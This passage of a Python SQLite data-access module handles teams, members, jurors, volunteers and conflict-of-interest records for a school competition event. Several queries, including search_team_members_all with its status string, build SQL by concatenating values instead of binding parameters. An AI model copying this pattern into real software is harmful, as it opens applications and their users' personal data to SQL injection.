team_rows:\n # add new team to tmp_school_teams\n if row[2] != tmp_team_id:\n if tmp_team_id > 0:\n # add last team to the return result\n tmp_tuple_team = (tmp_team_id, tmp_team_name, tmp_status, tmp_school_name, tmp_team_lead, len(tmp_team_members), tmp_team_members, tmp_school_id, tmp_team_register_date, tmp_captain, tmp_team_lead_id, tmp_teleconference, tmp_approved_members_count)\n teams_n_members_ledbyme.append(tmp_tuple_team)\n\n # reset team and team member record\n tmp_team_id = row[2]\n tmp_team_members = list()\n tmp_captain = 0\n tmp_approved_members_count = 0\n tmp_team_name = row[3]\n tmp_status = row[4]\n tmp_school_name = row[6] + \" - \" + row[8] + \" - \" + row[9]\n tmp_team_lead = row[12] + \" \" + row[13] + \" - \" + row[14]\n tmp_team_lead_id = row[11]\n tmp_school_id = row[5]\n tmp_team_register_date = row[23]\n tmp_teleconference = row[25]\n\n # add team members to current team\n if row[15] != None:\n tmp_tuple_member = (row[15], row[16], row[17], row[18], row[19], row[20], row[21], row[22], row[24])\n if row[17] == 1:\n tmp_captain = tmp_captain + 1\n if row[18] == \"Approved\":\n tmp_approved_members_count += 1\n tmp_team_members.append(tmp_tuple_member)\n\n # add last team\n if tmp_team_id > 0:\n tmp_tuple_team = (tmp_team_id, tmp_team_name, tmp_status, tmp_school_name, tmp_team_lead, len(tmp_team_members), tmp_team_members, tmp_school_id, tmp_team_register_date, tmp_captain, tmp_team_lead_id, tmp_teleconference, tmp_approved_members_count)\n teams_n_members_ledbyme.append(tmp_tuple_team)\n\n return teams_n_members_ledbyme\n\n\n# get all school teams and associated members for specific event\ndef get_school_teams_n_members(event_id, app_db_web_location=app_db_web_location_default):\n team_rows = search_event_teams_n_members_by_id(event_id, app_db_web_location)\n tmp_school_id = 0\n tmp_team_id = 0\n current_teams_n_members = list()\n tmp_school_teams = list()\n tmp_school_name = None\n tmp_team_members = list()\n tmp_team_name = None\n tmp_team_lead = None\n tmp_team_lead_id = 0\n\n for row in team_rows:\n # add new team to tmp_school_teams\n if row[2] != tmp_team_id:\n if tmp_team_id > 0:\n tmp_tuple_team = (tmp_team_id, tmp_team_name, tmp_team_lead, tmp_team_members)\n tmp_school_teams.append(tmp_tuple_team)\n\n # add new school to current_teams_n_members\n if row[5] != tmp_school_id:\n if tmp_school_id > 0:\n tmp_tuple_school = (tmp_school_id, tmp_school_name, tmp_school_teams)\n current_teams_n_members.append(tmp_tuple_school)\n\n if row[5] != tmp_school_id:\n # reset school record\n tmp_school_id = row[5]\n tmp_school_teams = list()\n tmp_school_name = row[6] + \" - \" + row[9] + \" - \" + row[8]\n\n if row[2] != tmp_team_id:\n # reset team member record\n tmp_team_id = row[2]\n tmp_team_members = list()\n tmp_team_name = row[3]\n tmp_team_lead = row[12] + \" \" + row[13] + \" - \" + row[14]\n tmp_team_lead_id = row[11]\n\n tmp_tuple_member = (row[15], row[16], row[17], row[18], row[19], row[20], row[21], row[22])\n tmp_team_members.append(tmp_tuple_member)\n\n if tmp_school_id > 0:\n tmp_tuple_team = (tmp_team_id, tmp_team_name, tmp_team_lead, tmp_team_members)\n tmp_school_teams.append(tmp_tuple_team)\n tmp_tuple_school = (tmp_school_id, tmp_school_name, tmp_school_teams)\n current_teams_n_members.append(tmp_tuple_school)\n\n return current_teams_n_members\n\n\ndef count_team_group_by_status(event_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n # command = \"SELECT COUNT(*), TEAM_STATUS from EVENT_TEAM where EVENT_ID=2 group by TEAM_STATUS;\"\n command = \"SELECT COUNT(*), TEAM_STATUS from EVENT_TEAM where EVENT_ID = \" + str(event_id) + \" group by TEAM_STATUS;\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n team_counts = list()\n total_count = 0\n for row in result:\n tmp_tuple = (row[0], row[1])\n team_counts.append(tmp_tuple)\n total_count = total_count + row[0]\n\n count_result = (total_count, team_counts)\n\n return count_result\n\n\ndef count_team_member_group_by_status(event_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT COUNT(*), MEMBER_STATUS from V_TEAM_MEMBER where EVENT_ID = \" + str(event_id) + \" group by MEMBER_STATUS;\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n tmp_counts = list()\n total_count = 0\n for row in result:\n tmp_tuple = (row[0], row[1])\n tmp_counts.append(tmp_tuple)\n total_count = total_count + row[0]\n\n count_result = (total_count, tmp_counts)\n\n return count_result\n\n\ndef count_juror_group_by_status(event_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT COUNT(*), PPANT_STATUS from EVENT_PARTICIPANT where EVENT_ID= \" + str(event_id) + \" and PARTICIPANT_ROLE_TYPE = 'Juror' group by PPANT_STATUS;\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n tmp_counts = list()\n total_count = 0\n for row in result:\n tmp_tuple = (row[0], row[1])\n tmp_counts.append(tmp_tuple)\n total_count = total_count + row[0]\n\n count_result = (total_count, tmp_counts)\n\n return count_result\n\ndef count_volunteer_group_by_status(event_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT COUNT(*), PPANT_STATUS from EVENT_PARTICIPANT where EVENT_ID= \" + str(event_id) + \" and PARTICIPANT_ROLE_TYPE = 'Volunteer' group by PPANT_STATUS;\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n tmp_counts = list()\n total_count = 0\n for row in result:\n tmp_tuple = (row[0], row[1])\n tmp_counts.append(tmp_tuple)\n total_count = total_count + row[0]\n\n count_result = (total_count, tmp_counts)\n\n return count_result\n\n\ndef add_team(event_id, team_lead_id, school_id, team_name, teleconferencing, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n current_timestamp = str(datetime.datetime.now())\n _c.execute(\n \"insert into EVENT_TEAM (event_id, team_lead_id, school_id, team_name, CREATED_BY, TEAM_STATUS, teleconference, created_date) values(?, ?, ?, ?, ?, 'Approved', ?, ?)\",\n (event_id, team_lead_id, school_id, team_name, team_lead_id, teleconferencing, current_timestamp))\n\n _conn.commit()\n _conn.close()\n\n\ndef update_a_team_status(event_id, team_id, team_status, current_user_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n current_timestamp = str(datetime.datetime.now())\n _c.execute(\"UPDATE EVENT_TEAM SET team_status = ?, last_updated_by = ?, last_updated_date = ? WHERE event_id = ? and team_id = ?\", (team_status, current_user_id, current_timestamp, event_id, team_id))\n\n _conn.commit()\n _conn.close()\n\n\ndef update_a_ppant_status(event_id, ppant_id, ppant_status, current_user_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n current_timestamp = str(datetime.datetime.now())\n _c.execute(\"UPDATE EVENT_PARTICIPANT SET ppant_status = ?, last_updated_by = ?, last_updated_date = ? WHERE event_id = ? and participant_id = ?\", (ppant_status, current_user_id, current_timestamp, event_id, ppant_id))\n\n _conn.commit()\n _conn.close()\n\n\ndef set_juror_chair(event_id, ppant_id, is_chair, current_user_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n current_timestamp = str(datetime.datetime.now())\n _c.execute(\"UPDATE EVENT_PARTICIPANT SET is_chair = ?, last_updated_by = ?, last_updated_date = ? WHERE event_id = ? and participant_id = ?\", (is_chair, current_user_id, current_timestamp, event_id, ppant_id))\n\n _conn.commit()\n _conn.close()\n\n\ndef update_a_team_member_status(team_member_id, member_status, is_captain, current_user_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n current_timestamp = str(datetime.datetime.now())\n if member_status.lower() == \"approved\":\n _c.execute(\"UPDATE TEAM_MEMBER SET member_status = ?, is_captain = ?, approved_date = ?, \"\n \"last_updated_by = ?, last_updated_date = ? WHERE team_member_id = ? \",\n (\"Approved\", is_captain, current_timestamp, current_user_id, current_timestamp, team_member_id))\n elif member_status.lower() == \"rejected\":\n _c.execute(\"UPDATE TEAM_MEMBER SET member_status = ?, is_captain = ?, rejected_date = ?, \"\n \"last_updated_by = ?, last_updated_date = ? WHERE team_member_id = ? \",\n (\"Rejected\", is_captain, current_timestamp, current_user_id, current_timestamp, team_member_id))\n else:\n pass\n\n _conn.commit()\n _conn.close()\n\n\ndef update_a_school_by_id(school_id, school_name, school_address, city, province, country, postal_code, school_status, current_user_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n current_timestamp = str(datetime.datetime.now())\n _c.execute(\"UPDATE SCHOOL_DIRECTORY SET school_name = ?, school_address = ?, city = ?, province = ?, country = ?, zip_code = ?, school_status = ?, last_updated_by = ?, last_updated_date = ? WHERE school_id = ?\", (school_name, school_address, city, province, country, postal_code, school_status, current_user_id, current_timestamp, school_id))\n\n _conn.commit()\n _conn.close()\n\n\n# add a new school to school_directory\ndef add_school(school_name, school_address, city, province, country, zipcode, created_by, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n _c.execute(\n \"insert into SCHOOL_DIRECTORY (school_name, school_address, city, province, country, zip_code, created_by) values(?, ?, ?, ?, ?, ?, ?)\",\n (school_name, school_address, city, province, country, zipcode, created_by))\n\n school_id = _c.lastrowid\n\n _conn.commit()\n _conn.close()\n\n return school_id\n\n\ndef add_team_member(team_id, current_user_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n current_timestamp = str(datetime.datetime.now())\n _c.execute(\n \"insert into team_member (team_id, team_member_user_id, MEMBER_STATUS, CREATED_DATE, CREATED_BY) values(?, ?, 'Requested', ?, ?)\",\n (team_id, current_user_id, current_timestamp, current_user_id))\n\n _conn.commit()\n _conn.close()\n\n\n# Search teams that are joined by a specific team member user Id\ndef search_teams_joinedbyme(event_id, team_member_user_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"EVENT_ID, EVENT_NAME, \" \\\n \"TEAM_MEMBER_ID, TEAM_MEMBER_USER_ID, IS_CAPTAIN, MEMBER_STATUS, COMMENTS, \" \\\n \"TEAM_ID, TEAM_NAME, TEAM_STATUS, \" \\\n \"SCHOOL_ID, SCHOOL_NAME, SCHOOL_ADDRESS, SCHOOL_CITY, SCHOOL_PROVINCE, SCHOOL_COUNTRY, \" \\\n \"TEAM_LEAD_ID, TEAM_LEAD_FIRST_NAME, TEAM_LEAD_LAST_NAME, TEAM_LEAD_EMAIL \" \\\n \"FROM V_TEAM_MEMBER \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"AND TEAM_MEMBER_USER_ID=\" + str(team_member_user_id) + \" \" \\\n \"ORDER by TEAM_MEMBER_USER_ID, SCHOOL_NAME, TEAM_NAME \" \\\n \";\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n # count number of team that I got approved\n myteams_count_joined_approved = 0\n myteams_joined = []\n for item in result:\n myteams_joined.append(item)\n if item[5] == \"Approved\":\n myteams_count_joined_approved += 1\n\n return (myteams_joined, myteams_count_joined_approved)\n\n\n# Search all the team members for a specific event\ndef search_team_members_all(event_id, team_member_status, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n if team_member_status is None or len(team_member_status) < 1:\n command = \"SELECT \" \\\n \"EVENT_ID, EVENT_NAME, \" \\\n \"TEAM_MEMBER_ID, TEAM_MEMBER_USER_ID, IS_CAPTAIN, MEMBER_STATUS, COMMENTS, \" \\\n \"TEAM_ID, TEAM_NAME, TEAM_STATUS, \" \\\n \"SCHOOL_ID, SCHOOL_NAME, SCHOOL_ADDRESS, SCHOOL_CITY, SCHOOL_PROVINCE, SCHOOL_COUNTRY, \" \\\n \"TEAM_LEAD_ID, TEAM_LEAD_FIRST_NAME, TEAM_LEAD_LAST_NAME, TEAM_LEAD_EMAIL, \" \\\n \"TEAM_MEMBER_FIRST_NAME, TEAM_MEMBER_LAST_NAME, TEAM_MEMBER_EMAIL, strftime('%Y-%m-%d',TEAM_MEMBER_DOB), \" \\\n \"strftime('%Y-%m-%d',TEAM_MEMBER_APPLY_DATE) \" \\\n \"FROM V_TEAM_MEMBER \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"ORDER by TEAM_MEMBER_FIRST_NAME, TEAM_MEMBER_LAST_NAME, SCHOOL_NAME \" \\\n \";\"\n else:\n command = \"SELECT \" \\\n \"EVENT_ID, EVENT_NAME, \" \\\n \"TEAM_MEMBER_ID, TEAM_MEMBER_USER_ID, IS_CAPTAIN, MEMBER_STATUS, COMMENTS, \" \\\n \"TEAM_ID, TEAM_NAME, TEAM_STATUS, \" \\\n \"SCHOOL_ID, SCHOOL_NAME, SCHOOL_ADDRESS, SCHOOL_CITY, SCHOOL_PROVINCE, SCHOOL_COUNTRY, \" \\\n \"TEAM_LEAD_ID, TEAM_LEAD_FIRST_NAME, TEAM_LEAD_LAST_NAME, TEAM_LEAD_EMAIL, \" \\\n \"TEAM_MEMBER_FIRST_NAME, TEAM_MEMBER_LAST_NAME, TEAM_MEMBER_EMAIL, strftime('%Y-%m-%d',TEAM_MEMBER_DOB), \" \\\n \"strftime('%Y-%m-%d',TEAM_MEMBER_APPLY_DATE) \" \\\n \"FROM V_TEAM_MEMBER \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"AND MEMBER_STATUS = '\" + team_member_status + \"' \" \\\n \"ORDER by TEAM_MEMBER_FIRST_NAME, TEAM_MEMBER_LAST_NAME, SCHOOL_NAME \" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\ndef add_event_participant(event_id, ppant_user_id, current_user_id, ppant_role_type, has_coi, teleconferencing, tslot1, tslot2, tslot3, tslot4, app_db_web_location, juror_experience):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n current_timestamp = str(datetime.datetime.now())\n ppant_status = \"Requested\"\n if ppant_role_type.lower() == 'volunteer':\n ppant_status = \"Approved\"\n _c.execute(\n \"insert into event_participant (event_id, ppant_user_id, participant_role_type, ppant_status, has_coi, CREATED_BY, teleconference, TSLOT1, TSLOT2, TSLOT3, TSLOT4, juror_experience, created_date) \"\n \"values(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\",\n (event_id, ppant_user_id, ppant_role_type, ppant_status, has_coi, current_user_id, teleconferencing, tslot1, tslot2, tslot3, tslot4, juror_experience, current_timestamp))\n\n ppant_id = _c.lastrowid\n\n _conn.commit()\n _conn.close()\n\n return ppant_id\n\n\ndef add_event_participant_with_coi(event_id, ppant_user_id, current_user_id, ppant_role_type, has_coi, coi_schools, teleconferencing, tslot1, tslot2, tslot3, tslot4, app_db_web_location, juror_experience):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n current_timestamp = str(datetime.datetime.now())\n ppant_status = \"Requested\"\n if ppant_role_type.lower() == 'volunteer':\n ppant_status = \"Approved\"\n # add event participant\n _c.execute(\n \"insert into event_participant (event_id, ppant_user_id, participant_role_type, ppant_status, has_coi, CREATED_BY, teleconference, TSLOT1, TSLOT2, TSLOT3, TSLOT4, juror_experience, created_date) \"\n \"values(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\",\n (event_id, ppant_user_id, ppant_role_type, ppant_status, has_coi, current_user_id, teleconferencing, tslot1, tslot2, tslot3, tslot4, juror_experience, current_timestamp))\n\n # get participant id\n ppant_id = _c.lastrowid\n for item in coi_schools:\n school_id = int(item)\n _c.execute(\n \"insert into conflict_of_interest (participant_id, coi_school_id, CREATED_BY, created_date) values(?, ?, ?, ?)\",\n (ppant_id, school_id, current_user_id, current_timestamp))\n\n _conn.commit()\n _conn.close()\n\n\n# add juror who is the team leader\ndef add_event_juror_as_tl(event_id, ppant_user_id, current_user_id, ppant_role_type, has_coi, coi_schools, teleconferencing, tslot1, tslot2, tslot3, tslot4, is_tl, tl_school_id, juror_experience, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n current_timestamp = str(datetime.datetime.now())\n ppant_status = \"Requested\"\n # add event participant\n _c.execute(\n \"insert into event_participant (event_id, ppant_user_id, participant_role_type, ppant_status, has_coi, CREATED_BY, teleconference, TSLOT1, TSLOT2, TSLOT3, TSLOT4, IS_TL, TL_SCHOOL_ID, juror_experience, created_date) \"\n \"values(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\",\n (event_id, ppant_user_id, ppant_role_type, ppant_status, has_coi, current_user_id, teleconferencing, tslot1, tslot2, tslot3, tslot4, is_tl, tl_school_id, juror_experience, current_timestamp))\n\n # get participant id\n ppant_id = _c.lastrowid\n\n # add COI schools\n for item in coi_schools:\n school_id = int(item)\n _c.execute(\n \"insert into conflict_of_interest (participant_id, coi_school_id, CREATED_BY, created_date) values(?, ?, ?, ?)\",\n (ppant_id, school_id, current_user_id, current_timestamp))\n\n # update event_team table: team lead's juror id\n if is_tl == 1:\n _c.execute(\"UPDATE event_team SET tl1_juror_id = ?, last_updated_by = ?, last_updated_date = ? \"\n \"WHERE event_id = ? and team_lead_id = ? and school_id = ?\",\n (ppant_id, current_user_id, current_timestamp, event_id, current_user_id, tl_school_id))\n elif is_tl == 2:\n pass\n\n _conn.commit()\n _conn.close()\n\n\ndef update_event_participant(event_id, ppant_id, teleconferencing, tslot1, tslot2, tslot3, tslot4, new_coi_schools, last_coi_count, current_user_id, juror_experience, app_db_web_location):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n current_timestamp = str(datetime.datetime.now())\n\n # deal with last coi data if applicable\n if last_coi_count > 0:\n # remove original coi\n _c.execute(\"DELETE FROM conflict_of_interest WHERE participant_id = \" + str(ppant_id) + \";\")\n # deal with new coi data if applicable\n has_coi = 0\n if new_coi_schools is None or len(new_coi_schools) < 1:\n has_coi = 0\n else:\n has_coi = 1\n # add new_coi_schools to coi table\n for item in new_coi_schools:\n school_id = int(item)\n _c.execute(\"insert into conflict_of_interest (participant_id, coi_school_id, CREATED_BY, created_date) \"\n \"values(?, ?, ?, ?)\", (ppant_id, school_id, current_user_id, current_timestamp))\n\n # update participant base table\n _c.execute(\"UPDATE event_participant SET has_coi = ?, teleconference = ?, tslot1 = ?, tslot2 = ?, tslot3 = ?, \"\n \"tslot4 = ?, last_updated_by = ?, last_updated_date = ?, juror_experience=? WHERE participant_id = ?\",\n (has_coi, teleconferencing, tslot1, tslot2, tslot3, tslot4, current_user_id, current_timestamp, juror_experience, ppant_id))\n\n _conn.commit()\n _conn.close()\n\n\ndef add_ppant_coi_team_members(participant_id, current_user_id, coi_team_members, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n for item in coi_team_members:\n tmp_list = list(item.split(\"-\"))\n team_id = int(tmp_list[0])\n team_member_id = int(tmp_list[1])\n _c.execute(\n \"insert into conflict_of_interest (participant_id, coi_team_id, coi_team_member_id, CREATED_BY) values(?, ?, ?, ?)\",\n (participant_id, team_id, team_member_id, current_user_id))\n\n _conn.commit()\n _conn.close()\n\n\n# Search participants that are under specific event and participant\ndef search_events_participatedbyme(event_id, curretn_user_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"EVENT_ID, EVENT_NAME, \" \\\n \"PARTICIPANT_ID, HAS_COI, PARTICIPANT_ROLE_TYPE, PPANT_STATUS, \" \\\n \"PARTICIPANT_FIRST_NAME, PARTICIPANT_LAST_NAME, PARTICIPANT_EMAIL \" \\\n \"FROM V_EVENT_PARTICIPANT \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"AND PPANT_USER_ID=\" + str(curretn_user_id) + \" \" \\\n \"ORDER by PARTICIPANT_ROLE_TYPE \" \\\n \";\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# Search participants and cois if applicable for specific event and participant\ndef search_events_ppant_n_cois(event_id, participant_user_id, ppant_id=0, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n if ppant_id == 0:\n command = \"SELECT \" \\\n \"EVENT_ID, EVENT_NAME, \" \\\n \"PARTICIPANT_ID, HAS_COI, PARTICIPANT_ROLE_TYPE, PPANT_STATUS, \" \\\n \"PPANT_FIRST_NAME, PPANT_LAST_NAME, PPANT_EMAIL, \" \\\n \"COI_ID, COI_SCHOOL_ID, COI_SCHOOL_NAME, COI_SCHOOL_ADDRESS, COI_SCHOOL_CITY, COI_SCHOOL_PROVINCE, \" \\\n \"COI_SCHOOL_COUNTRY, COI_SCHOOL_POSTAL_CODE, COI_SCHOOL_STATUS, COI_SCHOOL_WEBSITE, COI_COMMENTS, \" \\\n \"PPANT_TELEC, TSLOT1, TSLOT2, TSLOT3, TSLOT4, TL_SCHOOL_ID, IS_TL, JUROR_LEVEL, JUROR_EXPERIENCE, IS_CHAIR \" \\\n \"FROM v_event_participant_cois_schools \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" AND PPANT_USER_ID=\" + str(participant_user_id) + \\\n \" ORDER by PARTICIPANT_ROLE_TYPE, COI_SCHOOL_NAME COLLATE NOCASE;\"\n else:\n command = \"SELECT \" \\\n \"EVENT_ID, EVENT_NAME, \" \\\n \"PARTICIPANT_ID, HAS_COI, PARTICIPANT_ROLE_TYPE, PPANT_STATUS, \" \\\n \"PPANT_FIRST_NAME, PPANT_LAST_NAME, PPANT_EMAIL, \" \\\n \"COI_ID, COI_SCHOOL_ID, COI_SCHOOL_NAME, COI_SCHOOL_ADDRESS, COI_SCHOOL_CITY, COI_SCHOOL_PROVINCE, \" \\\n \"COI_SCHOOL_COUNTRY, COI_SCHOOL_POSTAL_CODE, COI_SCHOOL_STATUS, COI_SCHOOL_WEBSITE, COI_COMMENTS, \" \\\n \"PPANT_TELEC, TSLOT1, TSLOT2, TSLOT3, TSLOT4, TL_SCHOOL_ID, IS_TL, JUROR_LEVEL, JUROR_EXPERIENCE, IS_CHAIR \" \\\n \"FROM v_event_participant_cois_schools \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" AND PPANT_USER_ID=\" + str(participant_user_id) + \\\n \" AND PARTICIPANT_ID=\" + str(ppant_id) + \\\n \" ORDER by PARTICIPANT_ROLE_TYPE, COI_SCHOOL_NAME COLLATE NOCASE;\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get event participant and associated cois for specific event and participant\ndef get_event_ppant_n_mycois(event_id, current_user_id, ppant_id=0, app_db_web_location=app_db_web_location_default):\n result_rows = search_events_ppant_n_cois(event_id, current_user_id, ppant_id, app_db_web_location)\n event_ppant_n_mycois = list()\n tmp_role_type = None\n tmp_has_coi = 0\n tmp_ppant_status = None\n tmp_coi_schools = list()\n tmp_telec = None\n tmp_tslot1 = None\n tmp_tslot2 = None\n tmp_tslot3 = None\n tmp_tslot4 = None\n tmp_juror_experience = None\n tmp_tl_school_id = 0\n tmp_ppant_id = 0\n tmp_is_chair = None\n\n for row in result_rows:\n if row[4] != tmp_role_type:\n if tmp_role_type is not None:\n tmp_tuple2 = (tmp_role_type, tmp_has_coi, tmp_ppant_status, tmp_coi_schools, tmp_telec, tmp_tslot1, tmp_tslot2, tmp_tslot3, tmp_tslot4, tmp_ppant_id, tmp_tl_school_id, tmp_juror_experience, tmp_is_chair)\n event_ppant_n_mycois.append(tmp_tuple2)\n tmp_role_type = row[4]\n tmp_has_coi = row[3]\n tmp_ppant_status = row[5]\n tmp_coi_schools = list()\n tmp_telec = row[20]\n tmp_tslot1 = row[21]\n tmp_tslot2 = row[22]\n tmp_tslot3 = row[23]\n tmp_tslot4 = row[24]\n tmp_ppant_id = row[2]\n tmp_tl_school_id = row[25]\n tmp_juror_experience = row[28]\n tmp_is_chair = row[29]\n\n if tmp_has_coi == 1:\n tmp_tuple_school = (row[9], row[10], row[11], row[12], row[13], row[14], row[19])\n tmp_coi_schools.append(tmp_tuple_school)\n\n if tmp_role_type is not None:\n tmp_tuple2 = (tmp_role_type, tmp_has_coi, tmp_ppant_status, tmp_coi_schools, tmp_telec, tmp_tslot1, tmp_tslot2, tmp_tslot3, tmp_tslot4, tmp_ppant_id, tmp_tl_school_id, tmp_juror_experience, tmp_is_chair)\n event_ppant_n_mycois.append(tmp_tuple2)\n\n return event_ppant_n_mycois\n\n\n# Search all the participants and cois for specific event for data entry\ndef search_events_ppant_n_cois_for_data_entry(event_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n ppant_status = \"Approved\"\n ppant_role_type = \"Volunteer\"\n ppan_subtype = 99 # don't select sub_type=99 volunteers who are system side volunteer\n has_coi = 0\n timeslot = \"Yes\"\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"EVENT_ID, PARTICIPANT_ID, HAS_COI, PARTICIPANT_ROLE_TYPE, PPANT_STATUS, \" \\\n \"PPANT_FIRST_NAME, PPANT_LAST_NAME, PPANT_EMAIL, PPANT_SUBTYPE, \" \\\n \"TSLOT1, TSLOT2, TSLOT3, TSLOT4 \" \\\n \"FROM v_event_participant_cois_schools \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"AND PPANT_STATUS='\" + ppant_status + \"' \" \\\n \"AND (PPANT_SUBTYPE <> \" + str(ppan_subtype) + \" OR PPANT_SUBTYPE IS NULL) \" \\\n \"AND HAS_COI=\" + str(has_coi) + \" \" \\\n \"AND TSLOT1='\" + timeslot + \"' \" \\\n \"AND TSLOT2='\" + timeslot + \"' \" \\\n \"AND TSLOT3='\" + timeslot + \"' \" \\\n \"AND TSLOT4='\" + timeslot + \"' \" \\\n \"AND PARTICIPANT_ROLE_TYPE='\" + ppant_role_type + \"' \" \\\n \"ORDER by PARTICIPANT_ID\" \\\n \";\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# Search all the participants and cois for specific event\ndef search_events_ppant_n_cois_for_volunteer(event_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n ppant_status = \"Approved\"\n ppant_role_type = \"Volunteer\"\n ppan_subtype = 99 # don't select sub_type=99 volunteers who are system side volunteer\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"EVENT_ID, EVENT_NAME, \" \\\n \"PARTICIPANT_ID, HAS_COI, PARTICIPANT_ROLE_TYPE, PPANT_STATUS, \" \\\n \"PPANT_FIRST_NAME, PPANT_LAST_NAME, PPANT_EMAIL, \" \\\n \"COI_ID, COI_SCHOOL_ID, COI_SCHOOL_NAME, COI_SCHOOL_ADDRESS, COI_SCHOOL_CITY, COI_SCHOOL_PROVINCE, \" \\\n \"COI_SCHOOL_COUNTRY, COI_SCHOOL_POSTAL_CODE, COI_SCHOOL_STATUS, COI_SCHOOL_WEBSITE, COI_COMMENTS, \" \\\n \"PPANT_BACKGROUND, strftime('%Y-%m-%d',PPANT_DOB), strftime('%Y-%m-%d',PPANT_RQUEST_DATE), PPANT_INSTITUTION, \" \\\n \"PHYSICS_BACKGROUND, TSLOT1, TSLOT2, TSLOT3, TSLOT4, PPANT_TELEC, TL_SCHOOL_ID, JUROR_EXPERIENCE, IS_CHAIR, PPANT_SUBTYPE \" \\\n \"FROM v_event_participant_cois_schools \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"AND PPANT_STATUS='\" + ppant_status + \"' \" \\\n \"AND (PPANT_SUBTYPE <> \" + str(ppan_subtype) + \" OR PPANT_SUBTYPE IS NULL) \" \\\n \"AND PARTICIPANT_ROLE_TYPE='\" + ppant_role_type + \"' \" \\\n \"ORDER by PARTICIPANT_ID, COI_SCHOOL_NAME COLLATE NOCASE\" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get event's all the qualified volunteers and associated cois for specific event\ndef get_event_ppant_n_cois_for_volunteer(event_id, app_db_web_location=app_db_web_location_default):\n result_rows = search_events_ppant_n_cois_for_volunteer(event_id, app_db_web_location)\n event_ppant_n_mycois = list()\n tmp_coi_count = 0\n tmp_ppant_id = 0\n tmp_has_coi = 0\n tmp_ppant_status = None\n tmp_ppant_name = None\n tmp_ppant_background = None\n tmp_ppant_dob = None\n tmp_ppant_request_date = None\n tmp_ppant_institution = None\n tmp_ppant_physics_bg = None\n tmp_ppant_tslot1 = None\n tmp_ppant_tslot2 = None\n tmp_ppant_tslot3 = None\n tmp_ppant_tslot4 = None\n tmp_coi_schools = list()\n tmp_ppant_email = None\n tmp_ppant_telec = None\n tmp_tl_school_id = 0\n tmp_juror_expereince = None\n tmp_is_chair = None\n tmp_ppant_subtype = 0\n\n for row in result_rows:\n if row[2] != tmp_ppant_id:\n if tmp_ppant_id > 0:\n tmp_tuple2 = (tmp_ppant_id, tmp_has_coi, 